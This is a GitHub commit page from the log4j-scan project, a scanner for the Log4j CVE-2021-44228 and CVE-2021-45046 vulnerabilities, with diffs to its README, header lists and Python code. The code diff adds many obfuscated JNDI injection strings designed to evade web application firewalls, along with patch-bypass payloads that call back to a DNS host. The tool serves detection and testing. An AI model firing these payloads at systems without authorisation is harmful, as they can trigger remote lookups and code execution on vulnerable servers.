Skip to content

Commit

Permalink
Merge pull request #106 from fullhunt/dev
Browse files Browse the repository at this point in the history
Dev release - v1.0.1
  • Loading branch information
mazen160 authored Dec 25, 2021
2 parents 070fbd0 + a6d7bc9 commit 024aab3
Show file tree
Hide file tree
Showing 5 changed files with 100 additions and 24 deletions.
10 changes: 6 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -38,15 +38,15 @@ $ python3 log4j-scan.py -h
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
usage: log4j-scan.py [-h] [-u URL] [-p PROXY] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
[--wait-time WAIT_TIME] [--waf-bypass] [--custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD] [--test-CVE-2021-45046]
[--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] [--disable-http-redirects]

optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Check a single URL.
-p PROXY, --proxy PROXY
Send requests through proxy. proxy should be specified in the format supported by requests
(http[s]://<proxy-ip>:<proxy-port>)
send requests through proxy
-l USEDLIST, --list USEDLIST
Check a list of URLs.
--request-type REQUEST_TYPE
Expand All @@ -59,6 +59,8 @@ optional arguments:
--wait-time WAIT_TIME
Wait time after all URLs are processed (in seconds) - [Default: 5].
--waf-bypass Extend scans with WAF bypass payloads.
--custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD
Test with custom WAF bypass payload.
--test-CVE-2021-45046
Test using payloads for CVE-2021-45046 (detection payloads).
--dns-callback-provider DNS_CALLBACK_PROVIDER
Expand Down
2 changes: 1 addition & 1 deletion headers-large.txt
Original file line number Diff line number Diff line change
Expand Up @@ -1152,4 +1152,4 @@ X-Zotero-Version
X-Ztgo-Bearerinfo
Y
Zotero-Api-Version
Zotero-Write-Token
Zotero-Write-Token
50 changes: 50 additions & 0 deletions headers-minimal.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
# Security appliances may reset requests when headers are larger then the typical.
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Cache-Control
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
Max-Forwards
Origin
Pragma
Referer
True-Client-IP
Upgrade
User-Agent
Via
Warning
X-Api-Version
X-Att-DeviceId
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forward-For
X-From
X-Geoip-Country
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Hub-Signature
X-If-Unmodified-Since
X-ProxyUser-Ip
X-Requested-With
X-Request-ID
X-UIDH
X-XSRF-TOKEN
14 changes: 6 additions & 8 deletions headers.txt
Original file line number Diff line number Diff line change
@@ -1,28 +1,26 @@
Referer
X-Api-Version
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Cache-Control
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
Max-Forwards
Origin
Pragma
Referer
TE
True-Client-IP
Upgrade
User-Agent
Via
Warning
X-Api-Version
Max-Forwards
Origin
Pragma
DNT
Cache-Control

X-Att-Deviceid
X-ATT-DeviceId
X-Correlation-ID
Expand Down
48 changes: 37 additions & 11 deletions log4j-scan.py
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,6 @@
from urllib import parse as urlparse
import base64
import json
import random
from uuid import uuid4
from base64 import b64encode
from Crypto.Cipher import AES, PKCS1_OAEP
Expand Down Expand Up @@ -47,25 +46,40 @@
# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36',
'Accept': '*/*' # not being tested to allow passing through checks on Accept header in older web-servers
}
post_data_parameters = ["username", "user", "email", "email_address", "password"]

post_data_parameters = ["username", "user", "uname", "name", "email", "email_address", "password"]
timeout = 4

waf_bypass_payloads = ["${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}",
"${${::-j}ndi:rmi://{{callback_host}}/{{random}}}",
"${jndi:rmi://{{callback_host}}}",
"${jndi:rmi://{{callback_host}}/{{random}}}",
"${jndi:rmi://{{callback_host}}}/",
"${${lower:jndi}:${lower:rmi}://{{callback_host}}/{{random}}}",
"${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}",
"${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}",
"${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}",
"${jndi:dns://{{callback_host}}/{{random}}}",
"${jnd${123%25ff:-${123%25ff:-i:}}ldap://{{callback_host}}/{{random}}}",
"${jndi:dns://{{callback_host}}}",
"${j${k8s:k5:-ND}i:ldap://{{callback_host}}/{{random}}}",
"${j${k8s:k5:-ND}i:ldap${sd:k5:-:}//{{callback_host}}/{{random}}}",
"${j${k8s:k5:-ND}i${sd:k5:-:}ldap://{{callback_host}}/{{random}}}",
"${j${k8s:k5:-ND}i${sd:k5:-:}ldap${sd:k5:-:}//{{callback_host}}/{{random}}}",
"${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap://{{callback_host}}/{{random}}}",
"${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap{sd:k5:-:}//{{callback_host}}/{{random}}}",
"${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//{{callback_host}}/{{random}}}",
"${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//{{callback_host}}/{{random}}",
"${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}a${::-p}${sd:k5:-:}//{{callback_host}}/{{random}}}",
"${jndi:${lower:l}${lower:d}a${lower:p}://{{callback_host}}}",
"${jnd${upper:i}:ldap://{{callback_host}}/{{random}}}",
"${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://{{callback_host}}/{{random}}}"
]

cve_2021_45046 = [
"${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995,
"${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995,
"${jndi:ldap://127.0.0.1#{{callback_host}}/{{random}}}",
"${jndi:ldap://127.1.1.1#{{callback_host}}/{{random}}}"
]

]

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
Expand Down Expand Up @@ -108,6 +122,9 @@
dest="waf_bypass_payloads",
help="Extend scans with WAF bypass payloads.",
action='store_true')
parser.add_argument("--custom-waf-bypass-payload",
dest="custom_waf_bypass_payload",
help="Test with custom WAF bypass payload.")
parser.add_argument("--test-CVE-2021-45046",
dest="cve_2021_45046",
help="Test using payloads for CVE-2021-45046 (detection payloads).",
Expand All @@ -133,6 +150,11 @@
if args.proxy:
proxies = {"http": args.proxy, "https": args.proxy}


if args.custom_waf_bypass_payload:
waf_bypass_payloads.append(args.custom_waf_bypass_payload)


def get_fuzzing_headers(payload):
fuzzing_headers = {}
fuzzing_headers.update(default_headers)
Expand All @@ -145,7 +167,8 @@ def get_fuzzing_headers(payload):
if args.exclude_user_agent_fuzzing:
fuzzing_headers["User-Agent"] = default_headers["User-Agent"]

fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}'
if "Referer" in fuzzing_headers:
fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}'
return fuzzing_headers


Expand All @@ -164,6 +187,7 @@ def generate_waf_bypass_payloads(callback_host, random_string):
payloads.append(new_payload)
return payloads


def get_cve_2021_45046_payloads(callback_host, random_string):
payloads = []
for i in cve_2021_45046:
Expand Down Expand Up @@ -285,12 +309,14 @@ def scan_url(url, callback_host):
payloads = [payload]
if args.waf_bypass_payloads:
payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string))

if args.cve_2021_45046:
cprint(f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)", "yellow")
payloads = get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)

for payload in payloads:
cprint(f"[•] URL: {url} | PAYLOAD: {payload}", "cyan")

if args.request_type.upper() == "GET" or args.run_all_tests:
try:
requests.request(url=url,
Expand Down Expand Up @@ -349,7 +375,7 @@ def main():
dns_callback_host = ""
if args.custom_dns_callback_host:
cprint(f"[•] Using custom DNS Callback host [{args.custom_dns_callback_host}]. No verification will be done after sending fuzz requests.")
dns_callback_host = args.custom_dns_callback_host
dns_callback_host = args.custom_dns_callback_host
else:
cprint(f"[•] Initiating DNS callback server ({args.dns_callback_provider}).")
if args.dns_callback_provider == "interact.sh":
Expand All @@ -374,11 +400,11 @@ def main():
time.sleep(int(args.wait_time))
records = dns_callback.pull_logs()
if len(records) == 0:
cprint("[•] Targets does not seem to be vulnerable.", "green")
cprint("[•] Targets do not seem to be vulnerable.", "green")
else:
cprint("[!!!] Target Affected", "yellow")
cprint("[!!!] Targets Affected", "yellow")
for i in records:
cprint(i, "yellow")
cprint(json.dumps(i), "yellow")


if __name__ == "__main__":
Expand Down

0 comments on commit 024aab3

Please sign in to comment.